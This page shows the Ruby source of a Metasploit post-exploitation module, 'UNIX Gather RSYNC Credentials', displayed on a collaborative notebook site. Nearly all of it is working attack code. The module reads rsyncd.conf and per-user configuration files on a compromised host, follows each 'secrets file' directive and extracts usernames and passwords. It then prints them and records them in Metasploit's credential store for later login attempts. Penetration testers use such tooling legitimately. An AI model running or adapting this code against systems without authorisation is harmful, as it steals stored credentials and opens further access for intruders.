Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/rsyncd_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather RSYNC Credentials',14'Description' => %q{15Post Module to obtain credentials saved for RSYNC in various locations16},17'License' => MSF_LICENSE,18'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],19'SessionTypes' => %w[shell]20)21)2223register_options(24[25OptString.new('USER_CONFIG', [26false, 'Attempt to get passwords from this RSYNC ' \27'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf'28])29]30)31register_advanced_options(32[33OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])34]35)36end3738def setup39@user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']40end4142def dump_rsync_secrets(config_file)43vprint_status("Attempting to get RSYNC creds from #{config_file}")44creds_table = Rex::Text::Table.new(45'Header' => "RSYNC credentials from #{config_file}",46'Columns' => %w[Username Password Module]47)4849# read the rsync configuration file, extracting the 'secrets file'50# directive for any rsync modules (shares) within51rsync_config = Rex::Parser::Ini.new(config_file)52# https://github.com/rapid7/metasploit-framework/issues/626553rsync_config.each_key do |rmodule|54# XXX: Ini assumes anything on either side of the = is the key and value,55# including spaces, so we need to fix this56module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]57next unless (secrets_file = module_config['secrets file'])5859read_file(secrets_file).split(/\n/).map do |line|60next if line =~ /^#/6162if /^(?<user>[^:]+):(?<password>.*)$/ =~ line63creds_table << [ user, password, rmodule ]64report_rsync_cred(user, password, rmodule)65end66end67end6869return if creds_table.rows.empty?7071print_line(creds_table.to_s)72end7374def report_rsync_cred(user, password, rmodule)75credential_data = {76origin_type: :session,77session_id: session_db_id,78post_reference_name: refname,79username: user,80private_data: password,81private_type: :password,82realm_value: rmodule,83# XXX: add to MDM?84# realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,85workspace_id: myworkspace_id86}87credential_core = create_credential(credential_data)8889login_data = {90address: session.session_host,91# TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the92# 'port' directive in the global part of the rsyncd configuration file.93# Unfortunately, Rex::Parser::Ini does not support parsing this just yet94port: 873,95protocol: 'tcp',96service_name: 'rsync',97core: credential_core,98access_level: 'User',99status: Metasploit::Model::Login::Status::UNTRIED,100workspace_id: myworkspace_id101}102create_credential_login(login_data)103end104105def run106# build up a list of rsync configuration files to read, including the107# default location of the daemon config as well as any per-user108# configuration files that may exist (rare)109config_path = datastore['RSYNCD_CONFIG']110config_files = Set.new([ config_path ])111config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config112config_files.map { |config_file| dump_rsync_secrets(config_file) }113end114end115116117